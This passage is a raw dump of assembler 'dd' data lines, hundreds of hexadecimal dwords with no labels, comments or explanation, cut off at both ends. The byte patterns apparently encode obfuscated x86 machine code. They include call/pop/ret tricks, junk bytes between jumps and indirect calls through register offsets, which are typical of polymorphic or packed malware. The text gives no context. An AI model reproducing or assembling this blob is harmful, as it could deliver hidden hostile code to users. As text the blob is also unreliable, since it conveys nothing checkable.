24448104h dd 1B04h, 0C3534300h, 0B3D917DEh, 5D6D2316h, 0AE9h, 390EA400h dd 0B7907C76h, 894A4A6Ch, 1F1655B5h, 61858D06h, 6A062207h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 9218C357h, 0E19ED492h, 9400C7h, 81660000h dd 582BD3D7h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0D2C35141h, 14ADBD01h, 8E0F061Fh, 0 dd 761B58Dh, 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 10620CC3h, 5760AD8Ah, 1CE9B589h dd 6158061Fh, 29950356h, 0FF061F00h, 53006AD0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8DC7CA25h dd 22076185h, 7637B906h, 78830EECh, 850F0604h, 19h, 2E758D8Bh dd 8D8B061Fh, 61F2A91h, 7F585C7h, 10622h, 0BF0F0000h, 75BD83C8h dd 61F0Dh, 71850Fh, 0FE90000h, 0F5000000h, 0A6451232h dd 6198F245h, 0C2E6C3BFh, 0BD83F28Dh, 62207F5h, 50850F00h dd 66000000h, 2CA6D781h, 10DDBD83h, 0F00061Fh, 3E84h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0A6545CDFh, 23C6AB36h, 1F2E098Dh, 0D985C706h, 61F18h dd 0F000000h, 68Bh, 0D9B58900h, 66061F08h, 0F18ADB8Ch dd 0F04C3F6h, 57B84h, 0C5BD8B00h, 0C7061F32h, 1F0EF585h dd 6, 21BD8B00h, 80061F1Dh, 22034BBDh, 850F0006h, 6, 0F0D958Bh dd 85C6061Fh, 61F2025h, 38DA8147h, 6843B415h, 0E3E45B86h dd 18C18D8Bh, 0B5FF061Fh, 61F20D9h, 11F5BD09h, 858D061Fh dd 61F394Dh, 12E9h, 185B1100h, 83DA0F1Eh, 94B9DD3Ah, 252D904h dd 0FFA2DA8Ch, 3D8D2BD0h, 0BF061F03h, 6CA934B8h, 10468h dd 98D0F00h, 0F000000h, 381h, 0D7BF0F00h, 17659D8Dh, 8589061Fh dd 61F07A9h, 50006A53h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 0A9A6D195h, 5ED61E61h, 860F54h, 0E9000000h dd 14h, 0ACE145DFh, 73291B37h, 0B02FC089h, 1660179Fh, 0C7A05DC2h dd 99B6D0FFh, 1765858Dh, 8166061Fh, 50DE04D7h, 0C558589h dd 7DBA061Fh, 8D4726B9h, 2202FD85h, 58A0F06h, 0B9000000h dd 1E9FD8BDh, 799D2950h, 8D061F26h, 21F9D085h, 0FEBF0F06h dd 0E1B52950h, 0FF061F00h, 1F00A195h, 0C483FC06h, 0A9BD230Ch dd 6A061F07h, 806800h, 36A0000h, 6A006Ah, 68h, 0D0858D80h dd 500621F9h, 305195FFh, 8589061Fh, 62202E0h, 202585C6h dd 6847061Fh, 0C7B15E87h, 20D9B5FFh, 858D061Fh, 61F394Dh dd 6AD0FFh, 2E0B5FFh, 0D0FF0622h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0C7C35646h, 48F0FD4h, 66000000h dd 0BA4556B9h, 14920AD6h, 37D03Dh, 3B830F00h, 3000000h dd 1F24B18Dh, 0E0B5FF06h, 8B062202h, 1F05D195h, 0BE806h dd 77F00000h, 3A957964h, 547C9AFFh, 0FF5AF906h, 1F107595h dd 0D5B52906h, 0E9061F2Ch, 0E0h, 2359B529h, 0B5FF061Fh dd 62202E0h, 881422BAh, 7595FF17h, 89061F10h, 1F0D5585h dd 56006A06h, 2E35952Bh, 6A5A061Fh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 16D6C6B0h dd 6AC2F928h, 68F0F00h, 8B000000h, 1F2BDDBDh, 0E9006A06h dd 11h, 0C007E045h, 568A8BBDh, 0C9474053h, 2F4A9B64h, 66006A1Ah dd 6ACF8Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 6BC35646h, 5BB67977h, 14ADBD0Bh, 9D89061Fh, 61F2E55h dd 2E4858Dh, 0D18B0622h, 5195FF50h, 6A061F30h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0BD2AC352h, 95958Bh, 0F883061Fh, 4E850FFFh, 0FC000001h dd 0BA5A858Dh, 6A0621h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0BBE1DAC3h, 0FDF02C2Dh, 699D8914h dd 0FF061F1Bh, 75BA66D0h, 8B006A89h, 6A006AF9h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0B690C350h, 2D95B589h, 6A061Fh, 6AFA8B66h, 0E59D0900h dd 6A061F09h, 5880F00h, 66000000h, 0D836D781h, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0F552CCC3h, 2E4858Dh, 0FE90622h, 0A0000000h, 0DC86DEDAh dd 91A8CCFFh, 0CCFB333Ah, 81507C64h, 72171FCFh, 5195FF5Eh dd 0E9061F30h, 0Fh, 5E6F3F3Bh, 70E8AF3h, 0C013852Eh, 836D3FC9h dd 850FFFF8h, 71h, 1C318D8Bh, 0B58D061Fh, 621FCECh, 858DF98Bh dd 621A8EBh, 310DBD8Bh, 0D0FF061Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 61C35040h, 0C41DC173h, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 953198C3h, 61F1A81h, 10C1958Bh, 95FF061Fh, 61F0EE1h dd 82D5DFBAh, 0E0858969h, 60062202h, 2F89B589h, 12E9061Fh dd 0CF000000h, 0ED93CA09h, 0F5EB04BEh, 0B66A1759h, 0A8E2B756h dd 6A61D7h, 28D78153h, 595C46F9h, 0BF3FBA66h, 2D8858Dh dd 0BD8B0622h, 61F1191h, 99958950h, 6A061F1Bh, 56006A04h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0C6C8CF36h, 408E2FBEh, 858DF8E8h, 61F1BB5h, 1405BD89h dd 6A50061Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 5AD7C352h, 6AEB4Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 25C35040h, 6AE88Ah dd 0D95692BFh, 0E9016A30h, 12h, 1EC18223h, 966262B6h, 0D26A1B22h dd 5C9BA663h, 0B5FF7030h, 62202E0h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 42C35141h, 0E9C2EA82h, 451E2E1Eh dd 5E9BAh, 6F750000h, 664D4734h, 0FFC07ABAh, 1F088195h dd 198D8B06h, 0E9061F2Fh, 1C8Fh, 0DE8h, 16BB1400h, 4A2D81FBh dd 48E5EE81h, 11E8FDADh, 0A1000000h, 44B574FCh, 0F52D3A73h dd 486D64EBh, 18725AA5h, 5F5A5A53h, 0EE8h, 0A045BC00h dd 8AA2361Fh, 10EB21C7h, 573B6E9Dh, 65BCE981h, 595F58B5h dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 0E290CC3h, 0E6104E24h, 850FC1h, 83000000h dd 1F06C1BDh, 9750006h, 1F51BD83h, 7400061Fh, 8B535019h dd 7D2B8C0h, 85890000h, 61F0F65h, 0AFA49D8Dh, 0D3FF0621h dd 0BD83585Bh, 61F1F51h, 50177400h, 7D2B853h, 85890000h dd 61F0F65h, 0AC939D8Dh, 0D3FF0621h, 0B966585Bh, 6A51E2h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0BB9530C3h, 703EAE31h, 8A0F60EDh, 5, 36229CBFh, 7D950126h dd 61061F05h, 860FC08Bh, 6, 1A558D29h, 85C7061Fh, 61F0EF5h dd 1, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h dd 7DC35545h, 0BBDFB591h, 0ADB50933h, 0E8061F0Bh, 11h dd 527F1994h, 81FE9B38h, 5C72D65Ah, 3876DD79h, 8E9FFh dd 392E0000h, 0E2F80056h, 685F2C53h, 0CEE4E7B8h, 1BE5B5FFh dd 858D061Fh, 61F394Dh, 8589D0FFh, 61F0B6Dh, 5DBD468h dd 0E5B5FFC0h, 8D061F1Bh, 1F394D85h, 89D0FF06h, 1F312585h dd 89858D06h, 500621F7h, 20D9B5FFh, 95FF061Fh, 61F0A11h dd 0B74C00Bh, 858DD88Bh, 622073Ch, 8DD3FF50h, 22073C85h dd 38836606h, 0C70A7509h dd 1F32C185h, 106h, 0F995FF00h, 25061F1Fh, 0FFh, 7305F883h dd 0E185C70Ah, 1061F0Dh, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0F90AC350h dd 0E7196CFCh, 5346D49Ah, 0B966D78Bh, 0BD808E83h, 622034Bh dd 34850F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0E2CAC350h, 0B1289EFDh dd 8589F8CEh, 61F056Dh, 1A4AE9h, 29B50100h, 83061F00h dd 1F32C1BDh, 850F0006h, 10Bh, 0D958Bh, 858D061Fh, 6220315h dd 8E8h, 35EFC500h, 0DC0ABEFBh, 12E943h, 0A2370000h, 9C39C401h dd 0F25B83F1h, 550DAEDEh, 41FD374Eh, 6A505Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 6AF8A5C3h dd 99B58901h, 0E9061F2Ch, 13h, 0AED6EEA0h, 47B232D5h, 93CCB86Bh dd 0BC8FF90Fh, 6A980DC3h, 80C78100h, 6A5FEDA1h, 58C0F00h dd 66000000h, 0B1FFE181h, 2B0D95FFh, 8B60061Fh, 0F7B866CAh dd 858961E8h, 622033Fh, 6ACABF0Fh, 57006AFFh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 5C6AC584h dd 80A19171h, 958BE9F2h, 61F2B85h, 33FB5FFh, 6A0622h, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0CE871C3h, 0F1000000h, 31BC2554h, 6212D169h, 663FC3E6h dd 1185D981h, 0ED95FF5Fh, 66061F1Ch, 8DB40EBAh, 21F75085h dd 8E906h, 43FA0000h, 6E1DD302h, 0F5050BBh, 158Fh, 10E900h dd 79F50000h, 7B73B324h, 0A1A0A75Eh, 61527ED8h, 95FFFC71h dd 61F2DB1h, 12E8h, 0A0E64100h, 1106ABF6h, 936DF13Eh, 28C9033Eh dd 8B04A732h, 0B5295FD3h, 61F2CDDh, 0F7DA8589h, 0B5090621h dd 61F0779h, 5D858DFCh, 8B0621F7h, 6A50CEh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0B67977C3h dd 0D7A6275Bh, 0E8E3F8E7h, 13h, 4E9AE16Bh, 638A266Eh, 0AB359F5Eh dd 11682DBFh, 66EC5948h, 0FF5ACB8Bh, 21F7DAB5h, 39E58006h dd 2385958Bh, 95FF061Fh, 61F0A11h, 601BD0Bh, 8589061Fh dd 61F09DDh, 8DCEBF0Fh, 21F7CB85h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 262B8CC9h dd 0ABEF1BADh, 50F860C9h, 1AE1BD8Bh, 0B5FF061Fh, 621F7DAh dd 6E8h, 83306500h, 1B77008h, 1F0241B5h, 95FF5906h, 61F0A11h dd 1A3D9D89h, 8589061Fh, 621F7EEh, 2FDBD8Bh, 858D061Fh dd 621F7AAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0FFC35646h, 43D59978h, 0A5505247h, 858950F8h, 61F2BB1h dd 0BE9h, 0F3497F00h, 45B5DFFh, 0A051A936h, 0F7DAB5FFh dd 0B5890621h, 61F13E5h, 0A1195FFh, 8B66061Fh, 0AD8589D7h dd 89061F24h, 21F7E685h, 6E906h, 0D8CD0000h, 273E4F9Ah dd 0F79D858Dh, 0D78B0621h, 55006A50h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 2F6A767Fh dd 80571FBAh, 0FF5F50F5h, 21F7DAB5h, 1195FF06h, 0BA061F0Ah dd 6F7A6260h, 0F7EA8589h, 81660621h, 8DAFB2F2h, 21F7B885h dd 50CB8A06h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 7C35343h, 68D0Fh, 95890000h, 61F1D01h, 83D952Bh dd 0B5FF061Fh, 621F7DAh, 1F298501h, 95FF061Fh, 61F0A11h dd 6830Fh, 95890000h, 61F0D99h, 2C418589h, 6A061Fh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0B12AE9C3h, 39A23F58h, 7E9h, 979B6F00h, 4BAFCA1Dh, 0F76C858Dh dd 8A0F0621h, 0 dd 68C0Fh, 95890000h, 61F1709h, 0CEBF0F50h, 0F7DAB5FFh dd 6A0621h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0A72B5BC3h, 0A1195FFh, 6A061Fh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0DD9BADC3h dd 7AD98166h, 0DE85894Fh, 6A0621F7h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 8AB4C352h dd 52F8B70Fh, 0C3F18166h, 858D5A22h, 621F77Bh, 7EF1B950h dd 0B5FF5CC6h, 621F7DAh, 9CEA8166h, 1195FF7Ch, 8B061F0Ah dd 1F0A15BDh, 0E2858906h, 0F0621F7h, 684h, 0C1BD8900h dd 68061F2Ch, 104h, 5858D89h, 858D061Fh, 621F872h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 79C35343h, 0BE850h dd 624E0000h, 74D8878Ah, 28F364A1h, 0D4D781CCh, 592FE171h dd 0F976858Dh, 8D890621h, 61F0789h, 5E950h, 8C620000h dd 29505EBAh, 1F31159Dh, 0E595FF06h, 6A061F06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 9D97C356h, 0BD0C2D9Bh, 6840F60h, 89000000h, 1F0FC1BDh dd 8E906h, 1B340000h, 75E06334h, 6661AFFFh, 7F00EA81h dd 850FC085h, 2, 0BD80D38Bh, 622034Bh, 11850F00h, 89000000h dd 1F2741BDh, 1521E906h, 9D090000h, 61F1EA1h, 32C1BD83h dd 0F00061Fh, 1B85h, 0F59D8900h, 83061F0Ah, 2207F5BDh dd 840F0006h, 53h, 46F28166h, 59F852B1h, 0F80F858Dh, 0BD8B0621h dd 61F2D71h, 14E2E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0F4747D1Ah, 9B046E7Ch dd 1D9D9589h, 800F061Fh, 0 dd 38E9h, 0A9958B00h, 8D061F0Fh, 21F7FA85h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 150DEEB9h, 0CF8185B5h, 75F274F5h, 82E78166h, 8DF55017h dd 21F87285h, 115EB906h, 0F5005EDh, 3360CABFh, 1F2FE985h dd 0A5BD8B06h, 61061F2Ch, 32C1BD83h, 0F00061Fh, 4884h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 98858D1Ch, 290621F9h, 1F158185h, 9E806h dd 71E80000h, 4F25F9A5h, 0F1F0093h, 68Ch, 0C59D0900h, 5F061F23h dd 26E9h, 81858D00h, 6A0621F9h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 4328C357h, 50D18B68h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 6BC35545h dd 0CEE1D7D0h, 820F3Ah, 0F000000h, 1F86h, 13E800h, 0F7EB0000h dd 9772F3C6h, 0C607366Ah, 6A77C683h, 0D1091416h, 860F32h dd 59000000h, 0F9D0858Dh, 0F520621h, 505FD3BFh, 0A99BD31h dd 0BD89061Fh, 61F2B09h, 0A195FFh, 8A0F061Fh, 0Eh, 0BDBD2960h dd 23061F20h, 1F2AD595h, 0C4836106h, 6EA8110h, 8B478189h dd 8D9D89C0h, 83061F1Fh, 1F06C1BDh, 9750006h, 1F51BD83h dd 7400061Fh, 8B535019h, 7D3B8C0h, 85890000h, 61F0F65h dd 0AFA49D8Dh, 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50177400h dd 7D3B853h, 85890000h, 61F0F65h, 0AC939D8Dh, 0D3FF0621h dd 8E9585Bh, 0D4000000h, 0D81DBC9h, 8B0903FEh, 53006AC0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0A78F6AD6h, 35958BDBh, 81061F0Bh, 21F7FABDh, 65726F06h dd 0B1840F61h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0F6E8C357h, 0DB42AA63h dd 9E89700h, 79000000h, 2EA8A3D5h, 0B9BE4840h, 72858D5Ah dd 500621F8h, 0F9AF858Dh, 8D500621h, 21F9D085h, 95FF5006h dd 61F00A1h, 0C60CC483h, 1F202585h, 4F684406h, 0FF96A318h dd 1F20D9B5h, 4D858D06h, 0FF061F39h, 8DD88BD0h, 21F9D085h dd 0D3FF5006h, 0F7FA858Dh, 8D500621h, 21F87285h, 0BD835006h dd 61F32C1h, 8D087400h, 21F99885h, 8D06EB06h, 21F98185h dd 858D5006h, 621F9D0h, 0A195FF50h, 83061F00h, 0B52910C4h dd 61F2C39h, 1FF995FFh, 0B70F061Fh, 0FF25D6h, 11E90000h dd 0E3000000h, 2D4CC4CEh, 0AE84C9A7h, 0CD51ACDBh, 0E80A0298h dd 0F05F883h, 6983h, 0FB8B6600h, 0DE185C7h, 1061Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 8B1B09C3h, 5C339578h, 85DBD89h, 858D061Fh, 621F82Eh dd 1CD9958Bh, 67E9061Fh, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 87C5C352h dd 0BDB96656h, 0BD8359F6h, 61F32C1h, 30840F00h, 81000000h dd 0D734ECC7h, 59858D00h, 0F0621F8h, 482h, 12B96600h, 1CE9BBh dd 10E90000h, 1C000000h, 66629288h, 0ED33D49Dh, 0C217E15Eh dd 8DF5D794h, 21F83B85h, 8589F806h, 621F86Eh, 13890Fh dd 0EE90000h, 0E6000000h, 0E8C9C318h, 3695CDFCh, 45BA7DD8h dd 83D78BDEh, 1F32C1BDh, 850F0006h, 32h, 5E4ABA66h, 7F5BD83h dd 0F000622h, 3084h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0DCD85F3Ah, 0CCE9DB89h dd 66000010h, 8D5AD781h, 9789CDBFh, 485E92Ch, 0B5890000h dd 61F1EE9h, 83F9C08Bh, 1F06C1BDh, 9750006h, 1F51BD83h dd 7400061Fh, 8B535019h, 7D4B8C0h, 85890000h, 61F0F65h dd 0AFA49D8Dh, 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50177400h dd 7D4B853h, 85890000h, 61F0F65h, 0AC939D8Dh, 0D3FF0621h dd 9589585Bh, 61F07BDh, 31F5B509h, 0C08B061Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4EC35343h, 0ACF4A49Bh dd 6629F058h, 3F68D18Bh, 0BF000F00h, 730BE650h, 6AFFBF0Fh dd 68D0F00h, 0B000000h, 1F0165BDh, 6A006A06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 8825C357h, 0DD95FF05h, 0F061F09h, 0C8Dh, 6810F00h, 29000000h dd 1F2B998Dh, 898D8B06h, 85061F2Ah, 6850FC0h, 89000000h dd 1F2F8995h, 0F2858906h, 0E90621F7h, 0Ah, 61DE4F3Ah, 3BE57345h dd 6A9930h, 13E9h, 767C9C00h, 0B63A1259h, 19A2DFE6h, 0A2F2378Dh dd 5F317A2Eh, 0BB60006Ah, 2D53F0C0h, 6A61F8h, 0E85B529h dd 6A061Fh, 6AD38Ah, 0D45BD8Bh, 858D061Fh, 621F9D0h, 2CF99589h dd 8950061Fh, 1F24D995h, 0E8016A06h, 12h, 1D16C548h, 0FDE14433h dd 33DD645Bh, 80247884h, 0B5898789h, 61F3005h, 13E85Fh dd 77B90000h, 0EAA558E7h, 0E55E098Bh, 0EA86C438h, 0F9EC0A6Eh dd 16A5FFEh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 4CC35242h, 586D344Dh, 276C14BAh, 6A016A54h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0E559C350h, 0C43EBA66h, 0F01FF68h, 3BC18100h, 83080196h dd 1F32C1BDh, 840F0006h, 18h, 2E99BD8Bh, 858D061Fh, 621F84Fh dd 0E1816650h, 0E959FD99h, 2Ch, 0F825858Dh, 6A0621h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 7AF74FC3h, 8E244E30h, 0CFBF0FEFh, 0E2816650h, 89500903h dd 1F0FC99Dh, 0F2B5FF06h, 8B0621F7h, 1F0785BDh, 0DE95FF06h dd 6A0621F7h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 53DEC351h, 1091958Bh, 8559061Fh dd 32850FC0h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0ECC4C350h, 5D13B0F3h dd 0F0D2587h, 7CE9D7B7h, 8B000000h, 1F18C5BDh, 0F6858906h dd 6A0621F7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 96C2C357h, 10E88F42h, 10000000h dd 524EF65Dh, 9CD725D1h, 452C7077h, 8168FE50h, 0CF68EBE1h dd 0B5FF5A68h, 621F7F6h, 6890Fh, 0BD890000h, 61F1241h dd 6810Fh, 958B0000h, 61F1379h, 2C4195FFh, 958B061Fh, 61F171Dh dd 850FC085h, 3, 6AD08B66h, 0D5BD8B10h, 83061F31h, 1F32C1BDh dd 840F0006h, 22h, 8DCF8B66h, 21F84F85h, 88C0F06h, 51000000h dd 0D998D0Bh, 0E95F061Fh, 21h, 0D51BD89h, 858D061Fh, 621F825h dd 10E9h, 2EE1B700h, 0B27E383Fh, 9BE7D0DBh, 4E3B2BEFh dd 8D89503Dh, 61F2BFDh, 0F7F2B5FFh, 810F0621h, 17h, 12E9h dd 7A8B4D00h, 350F7F6Ch, 4CD059Bh, 0EA781AB0h, 0FFA2E360h dd 21F7EA95h, 9DBD8906h, 85061F15h, 9850FC0h, 66000000h dd 81C3C781h, 4581BA66h, 0F7F68589h, 60BA0621h, 0E86BBC48h dd 0Ch, 0A102B943h, 0E81108AAh, 693B5CD4h, 2EB58D2Bh, 6A5A061Fh dd 70E28100h, 6A69C6A3h, 0CB8B6600h, 0F7F6B5FFh, 6A0621h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0C97F56C3h, 0F13752CCh, 5E5BD89h, 8D89061Fh, 61F1B3Dh dd 0F7E295FFh, 29520621h, 1F32A195h, 9E95906h, 0A2000000h dd 8222A780h, 8254680Ah, 850FC085h, 2, 0B5FF5F56h, 621F7F6h dd 2C21958Bh, 8166061Fh, 0FFA6A8D7h, 1F2C4195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0DB2A7BDFh, 0C085C428h, 1850Fh, 6AFC0000h, 6842B500h dd 80h, 0AE9h, 11E32500h, 0CA10C71h, 6AC293F1h, 0FD8D8903h dd 6A061F1Dh, 618D8B00h, 6A061F1Bh, 0C9950100h, 68061F09h dd 0C0000000h, 2CB98D8Bh, 0B5FF061Fh, 621F86Eh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 6DC35141h, 0E9819FCAh dd 0EBC7E413h, 305195FFh, 0F08A061Fh, 0FFFF883h, 46085h dd 0BE900h, 0FFB40000h, 85A9B54h, 79526621h, 12E93Bh, 3F1B0000h dd 0A95A228Fh, 0A19E14ADh, 1729176Eh, 87DD507Ah, 2DC85FFh dd 95890622h, 61F000Dh, 2DCBD83h, 0F020622h, 31484h, 2CDF8100h dd 81185169h, 475FFDE1h, 9F858D30h, 80005AF5h, 0BD8904F1h dd 61F020Dh, 8B66D0FFh, 0F2858DFBh, 0FF005AEFh, 0C98166D0h dd 0C08B88E5h, 13E9h, 921CC500h, 409E25CEh, 0F3D9D7D8h dd 5575968Fh, 0CF825986h, 6C1BD83h, 7500061Fh, 51BD8309h dd 61F1Fh, 53501974h, 0D8B8C08Bh, 89000007h, 1F0F6585h dd 0A49D8D06h, 0FF0621AFh, 83585BD3h, 1F1F51BDh, 17740006h dd 0D8B85350h, 89000007h, 1F0F6585h, 939D8D06h, 0FF0621ACh dd 0F585BD3h, 6E9C8B7h, 0E4000000h, 3E41353Dh, 6AC08B21h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 61ABC351h, 0B5F88B66h, 3F6824h, 850F000Fh dd 0Eh, 21852360h, 0F061F2Dh, 88h, 6A6100h, 3800F56h, 80000000h dd 6A5F8DF2h, 0F8BF0F00h, 9DD95FFh, 8589061Fh, 61F09D9h dd 8D8BC085h, 61F1D0Dh, 0F7F28589h, 8D890621h, 61F15B5h dd 0F01FF68h, 0E2816600h, 0BD831CFEh, 61F32C1h, 28840F00h dd 80000000h, 858D03D6h, 621F84Fh, 1BC1958Bh, 1FE9061Fh dd 0F000000h, 0C80h, 8D896000h, 61F18F9h, 0A873B966h, 8DD18B61h dd 21F82585h, 0F1816606h, 2950B12Ah, 1F1B45BDh, 0F2B5FF06h dd 0FF0621F7h, 21F7EA95h, 0FD9D0106h, 89061F2Ah, 21F7F685h dd 6870F06h, 89000000h, 1F06C995h, 0DA816606h, 85C72EB2h dd 61F20E5h, 0 dd 3101958Bh, 0BD83061Fh, 621F7F6h, 5D840F00h, 0E9000001h dd 13h, 0E6B0E0F8h, 3F103D61h, 0AB86B72Ah, 88696636h, 8D36C9B9h dd 21FAD485h, 418D8B06h, 50061F12h, 13E9h, 56486800h, 34004281h dd 0BA500176h, 9C4440DAh, 0CC081F12h, 6A016Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 85C4CDC3h, 58D0FC1h, 0BA000000h, 5D9BCF0Bh, 0F7F6B5FFh dd 0D78B0621h, 0F7EE95FFh, 0FFF50621h, 21F7F6B5h, 718D8B06h dd 0FF061F15h, 1F2C4195h, 0AE86006h, 7A000000h, 82E10356h dd 0DA105207h, 0CEBF0FAEh, 6144B15Ah, 0F01FF68h, 0BD83FC00h dd 61F32C1h, 0D840F00h, 8D000000h, 21F84F85h, 0DE906h dd 0CA8B0000h, 0F825858Dh, 81660621h, 504D49D1h, 1501958Bh dd 0B529061Fh, 61F2099h, 0F7F2B5FFh, 0C9800621h, 0EA95FFACh dd 890621F7h, 1F23C59Dh, 0F6858906h, 6A0621F7h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 2450C351h, 0B5FFA118h, 621F7F6h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 0CEC35040h, 0DBE6D4BAh, 0E695FF71h dd 660621F7h, 0B5FFFA8Bh, 621F7F6h, 6840Fh, 85290000h dd 61F1729h, 2C4195FFh, 9BB5061Fh, 0FFF7C3E9h, 7E9FFh dd 0EC400000h, 0A35B72EFh, 3FB5FF96h, 8B062203h, 1F003595h dd 5995FF06h, 89061F2Dh, 1F20E995h, 0B9858B06h, 6A061F0Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0FED2C351h, 9689617Ah, 8A0FC6FFh, 2, 18E94DB5h dd 0E9000006h, 13h, 0B885454Bh, 874B80D6h, 4E937DF3h, 4C64DCC5h dd 8D6D344Dh, 21FAF4B5h, 9BD8B06h, 0B9061F21h, 7896B467h dd 0A8EB858Dh, 0AE90621h, 67000000h, 0B3A777F9h, 0D0225D24h dd 66D0FF84h, 6AF98Bh, 0B8B0Fh, 6E90000h, 52000000h, 0E9D7E8DAh dd 0D9816619h, 95FFBDC8h, 61F0EE1h, 16F18D89h, 0F38B061Fh dd 0FE8h, 0F859EC00h, 0FC12B395h, 0ED572A5Fh, 756B429Ah dd 5440E781h, 8D5A6958h, 21A8EB85h, 0C9B70F06h, 6AD0FFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 0A38339C3h, 81006A7Eh, 0AD1F14F1h, 0E195FF2Eh, 0B2061F0Eh dd 80C08BA5h, 0BD8383E1h, 61F06C1h, 83097500h, 1F1F51BDh dd 19740006h, 0C08B5350h, 7D9B8h, 65858900h, 8D061F0Fh dd 21AFA49Dh, 5BD3FF06h, 51BD8358h, 61F1Fh, 53501774h dd 7D9B8h, 65858900h, 8D061F0Fh, 21AC939Dh, 5BD3FF06h dd 41858958h, 0F061F15h, 683h, 91858900h, 8B061F13h, 0EE9C0h dd 0A2570000h, 4F30E161h, 3FB7A9F4h, 0E3230C8Bh, 518D8B50h dd 8B061F31h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0C6BE9F01h, 